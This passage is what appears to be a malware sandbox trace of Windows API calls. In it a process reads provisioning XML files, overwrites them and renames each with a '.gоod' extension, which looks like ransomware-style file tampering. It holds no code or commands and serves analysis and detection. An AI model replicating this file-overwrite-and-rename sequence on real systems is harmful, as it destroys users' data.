dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.302] GetFileType (hFile=0x618) returned 0x1 [0125.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0125.302] GetFileType (hFile=0x618) returned 0x1 [0125.303] WriteFile (in: hFile=0x618, lpBuffer=0x368d9f0*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x368d9f0*, lpNumberOfBytesWritten=0x1fcee148*=0x740, lpOverlapped=0x0) returned 1 [0125.303] CloseHandle (hObject=0x618) returned 1 [0125.303] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0125.303] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0125.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0125.304] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x46e53c8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0125.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0125.304] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.gоod")) returned 1 [0125.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0125.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0125.305] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x368ed20 | out: lpFileInformation=0x368ed20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0125.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0125.305] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0125.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0125.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.306] GetFileType (hFile=0x618) returned 0x1 [0125.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0125.306] GetFileType (hFile=0x618) returned 0x1 [0125.306] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0125.306] ReadFile (in: hFile=0x618, lpBuffer=0x368f158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x368f158*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0125.307] CloseHandle (hObject=0x618) returned 1 [0126.099] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0126.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0126.099] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.100] GetFileType (hFile=0x640) returned 0x1 [0126.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0126.100] GetFileType (hFile=0x640) returned 0x1 [0126.100] WriteFile (in: hFile=0x640, lpBuffer=0x3874168*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3874168*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0126.100] CloseHandle (hObject=0x640) returned 1 [0126.101] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0126.101] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0126.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0126.101] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x475ed263, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0126.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0126.101] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.gоod")) returned 1 [0126.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0126.102] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov", lpFilePart=0x0) returned 0x51 [0126.102] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0126.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0126.103] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.103] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0126.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0126.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0126.103] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov", lpFilePart=0x0) returned 0x51 [0126.103] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.104] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.104] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0126.104] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0126.104] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0126.104] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0126.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0126.104] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0126.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0126.104] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x3883d58 | out: lpFileInformation=0x3883d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc)) returned 1 [0126.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0126.105] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0126.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0126.105] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.105] GetFileType (hFile=0x640) returned 0x1 [0126.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0126.105] GetFileType (hFile=0x640) returned 0x1 [0126.105] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0x1cc [0126.105] ReadFile (in: hFile=0x640, lpBuffer=0x3884220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x3884220*, lpNumberOfBytesRead=0x1fced808*=0x1cc, lpOverlapped=0x0) returned 1 [0126.106] CloseHandle (hObject=0x640) returned 1 [0126.132] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0126.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0127.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0127.867] GetFileType (hFile=0x6e0) returned 0x1 [0127.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0127.867] GetFileType (hFile=0x6e0) returned 0x1 [0127.867] WriteFile (in: hFile=0x6e0, lpBuffer=0x367ef08*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x1fced718, lpOverlapped=0x0 | out: lpBuffer=0x367ef08*, lpNumberOfBytesWritten=0x1fced718*=0x1d0, lpOverlapped=0x0) returned 1 [0127.867] CloseHandle (hObject=0x6e0) returned 1 [0127.868] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0127.868] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0127.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0127.868] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x486e9efa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0127.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0127.868] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.gоod")) returned 1 [0127.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0127.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0127.869] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.869] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.869] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f19b66, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f19b66, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0127.869] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0127.869] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0127.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0127.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0127.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0127.870] FindFirstFileW (in: 